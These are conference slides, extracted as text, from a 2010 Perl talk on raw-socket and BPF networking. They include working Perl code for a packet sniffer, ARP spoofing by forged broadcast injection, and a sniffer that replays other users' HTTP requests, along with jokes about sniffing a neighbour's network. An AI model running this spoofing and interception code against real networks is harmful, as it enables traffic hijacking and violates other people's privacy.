PRESENTATION NAME

advertisement
EXTREMELY LOW-LEVEL
NETWORKING IN PERL
(in order to get girls)
Samy Kamkar
June 22, 2010
YAPC::NA 2010
1
Who is Samy?
• Co-Founder of Fonality, IP PBX Company
• Passionate Perl Programmer
• ”Narcissistic Vulnerability Pimp”
(aka Security Researcher for fun)
• Lady Gaga aficionado
2
Why am I talking?
• Share the awesomeness of the packet
• Prove that you can do low-level in Perl
• Explain why packet-fu is useful
• Provide examples of useful tools
• Write portable, system-level software
• I like turtles
3
What can we do with this?
• System-Level Software
– Porting tools like tcpdump, ifconfig, lsof, arp, etc
• Network Monitoring
– Intrusion Detection Systems, Port Scanning
• Packet sniffing/injection/pen testing
–
–
–
–
–
–
Deciphering protocols, packet “grepping”
Packet replaying, man-in-the-middling
Traffic/flow control, TCP session control
Browser following (HTTP sniffing)
Network mapping/fingerprinting
ARP spoofing, DNS spoofing
4
5
So how do we do it?
•
•
•
•
•
•
•
•
•
•
Inline::C … cool, but NAH!
XS .. That’s a great way…but nope!
system() ? LOLOCOPTERS!
syscall() //;# low-level syscalls in perl!
syscall(&SYS___sysctl, …) //;# sysctl in perl!
ioctl() //;# control special devices/FHs!
fcntl() //;# more control over devices!
pack()/unpack() //;# deal with binary strings
socket() //;# we’ll use this for some raw sockets
setsockopt() //;# more modifications to sockets
6
Requirements: C Structures
struct bpf_program {
u_int
bf_len; // 4
bytes
struct bpf_insn *bf_insns; //
below..
};
struct bpf_insn {
u_short
code;
// 2 bytes
u_char
jt;
// 1 byte
u_char
jf;
// 1 byte
bpf_u_int32
k;
// 4 bytes
7
The Basics: Automation
• Don’t convert .h (headers) to perl
• Perl will do it for you!
• h2ph.pl (old school)
• c2phear.pl, part of Packet
• use Config.pm to tell you type sizes
# SIZE MATTERS
use Config;
print $Config{“intsize”};
#4
8
Things that went out
of style by early 2000
h2ph
9
The Basics: C Definitions/Sizes
#define BPF_MAXBUFSIZE 0x80000
sub BPF_MAXBUFSIZE { 0x80000 }
#define _IOC(inout,group,num,len) (inout | ((len &
IOCPARM_MASK) << 16) | ((group) << 8) | (num))
sub _IOC {
my ($inout, $group, $num, $len) = @_;
($inout | (($len & &IOCPARM_MASK) << 16) |
(($group) << 8) | ($num)); }
#define _IOR(g,n,t) _IOC(IOC_OUT, (g), (n), sizeof(t))
use Config;
sub _IOR {
my ($g, $n, $t) = @_;
&_IOC( &IOC_OUT, $g, $n, $Config{$t . “size”}); } 10
The Basics: C Structures
// Use pack()/unpack()
// to do these in perl!
sub bpf_program
{
my %struct = @_;
my $len = length(bpf_insn());
struct bpf_program {
u_int bf_len;
pack(“Ia$len”, $struct{‘bf_len’},
struct bpf_insn *bf_insns; bpf_insn(
%{$struct{‘*bf_insns’}} ) );
};
}
struct bpf_insn {
u_short code;
u_char
jt;
u_char
jf;
bpf_u_int32 k;
};
sub bpf_insn
{
my %struct = @_;
pack(“SaaI”,
@struct{qw/ code jt jf k /}
);
11
}
sysctl() to get/set system info
// from arp.c on OS X & FreeBSD
int mib[6];
size_t needed;
mib[0] = CTL_NET;
mib[1] = PF_ROUTE;
mib[2] = 0;
mib[3] = AF_INET;
mib[4] = NET_RT_FLAGS; mib[5] = RTF_LLINFO;
sysctl(mib, 6, NULL, &needed, NULL, 0);
# in Perl, $needed also updates without using a ref
my $needed = “\0” x $Config{“intsize”};
my @mib = (&CTL_NET, &PF_ROUTE, 0, &AF_INET,
&NET_RT_FLAGS, &RTF_LLINFO);
my $mib = pack(‘i’ x @mib, @mib);
syscall(&SYS___sysctl, $mib, 6, 0, $needed, 0, 0);
12
ioctl() and raw devices example:
a BPF sniffer in perl
# raw BPF sniffer in perl (no libpcap!), works on Linux, OS X, *BSD
use Packet;
# import our C definitions/structs/etc
open(FD, "</dev/bpf0");
# open our BPF device
$ifr = pack('a16@48', "eth0");
# set up network interface to be read
ioctl(FD, &BIOCSETIF, $ifr);
# attach network interface to bpf device
ioctl(FD, &BIOCPROMISC, $undef);
# go into promiscuous mode...naughty!
ioctl(FD, &BIOCGBLEN, $size);
# how much we can read at a time
$buflen = unpack("l", $size);
# our size is in ascii so get decimal
while (1)
{
sysread(FD, $data, $buflen);
# read in our bpf header
while (length($data))
{
$bpf = bpf_hdr_unpack($data);
# unpack the bpf header
$packet = substr($data, 0,
# remove bpf header from packet
BPF_WORDALIGN($bpf->{bh_caplen} + $bpf->{bh_hdrlen}), undef);
print unpack(“H*”, substr($packet, $bpf->{bh_caplen})) . “\n”; # actual packet!
}
}
13
BPF sniffer: continued
samy@donttasemebro$ perl bpfsniff.pl
# ICMP echo request
001b63f35e42001ec2bf76ee08004500005422180000400147720a00
011c040202020800a1530ecd0000cd09174c6b860d0008090a0b0
c0d0e0f101112131415161718191a1b1c1d1e1f20212223242526
2728292a2b2c2d2e2f3031323334353637
# ICMP echo reply
001ec2bf76ee001b63f35e420800450000544aad0000380126dd0402
02020a00011c0000e3460ecd0000cd09174c6b860d0008090a0b0
c0d0e0f101112131415161718191a1b1c1d1e1f20212223242526
2728292a2b2c2d2e2f3031323334353637
Ethernet header: 14 bytes
IP header: 20 bytes (can be more with IP options)
ICMP header: 8 bytes
ICMP data: 52 bytes (variable)
Sniffing your neighbor’s network: Priceless
14
A Brief History of Crime
15
A Portable Packet Sniffer
use Packet;
my $eth = new Packet::Ethernet;
my $ip = new Packet::IP;
my $s = Packet::Sniff->new(device => $DEVICE);
$s->open() || die $s->{errbuf};
$s->loop(0, \&callback);
# start monitoring
# open our device
# send packets to callback
sub callback {
my ($ud, $hdr, $pkt, $s) = @_;
my ($time, $hi) = Time::HiRes::gettimeofday();
$time = $1 if localtime($time) =~ /(\d+:\d+:\d+)/;
# high-res time
# current time
$eth->decode($pkt);
# decode ethernet packet
if ($eth->type == 0x0800)
# 0x0800 == IP packet
{
$ip->decode($eth->data);
# decode IP packet
print "$time.$hi IP $ip->{src_ip} -> $ip->{dest_ip}: proto $ip->{proto}\n” .
unpack(“H*”, $pkt) . “\n”;
# print packet + header
}
}
16
A Portable Packet Sniffer: cont.
samy@donttasemebro$ perl packetsniff.pl
# ICMP echo request
23:08:13.933668 IP 10.0.1.28 -> 4.2.2.2: proto 1 (ICMP)
# ICMP echo reply
23:08:13.933995 IP 4.2.2.2 -> 10.0.1.28: proto 1 (ICMP)
17
This is your network.
18
This is your network on drugs.
19
ARP Spoofing
ARP Spoofing
20
ARP Spoofing – Simple!
my $raw = new Packet::Inject(device => $device); # inject raw packets!
my $eth = new Packet::Ethernet()->encode();
# eth pkt will broadcast
my $arp = new Packet::ARP(
sender_eth => "a:b:c:d:e:f",
# our MAC
target_eth => ”ff:ff:ff:ff:ff:ff",
# broadcast
sender_ip => ”10.0.0.1",
# ip we’re stealing
target_ip => ”255.255.255.255”
# notifying broadcast
)->encode();
# now we have a built packet
$arp
$raw->open();
# open our device for injection
$raw->write(packet => $eth . $arp);
# inject!!!
$raw->close();
21
22
Epic Browser Sniffing FTW
sub callback {
my ($ud, $hdr, $pkt, $s) = @_;
$eth->decode($pkt);
# decode ethernet packet
if ($eth->type == 0x0800) {
# 0x0800 == IP packet
$ip->decode($eth->data);
# decode IP packet
if ($ip->proto == 6) {
# TCP packet
$tcp->decode($ip->data);
# decode TCP packet
if ($tcp->dest_port == 80) { # HTTP packet
# read HTTP header
if ($tcp->data =~ /GET (\S+) HTTP.*?Host: (\S+)/s) {
# use applescript to open our browser!
system qq{osascript -e 'tell application "Safari”
to open location “http://$2$1”’};
}}}}}
23
24
Q&A
A gentleman never asks.
A lady never tells.
25
Fin
Packet (Perl module suite):
h2ph:
pwnat:
Samy Kamkar
www.samy.pl
samy@samy.pl
twitter.com/SamyKamkar
samy.pl/packet
man h2ph
samy.pl/pwnat
26
Download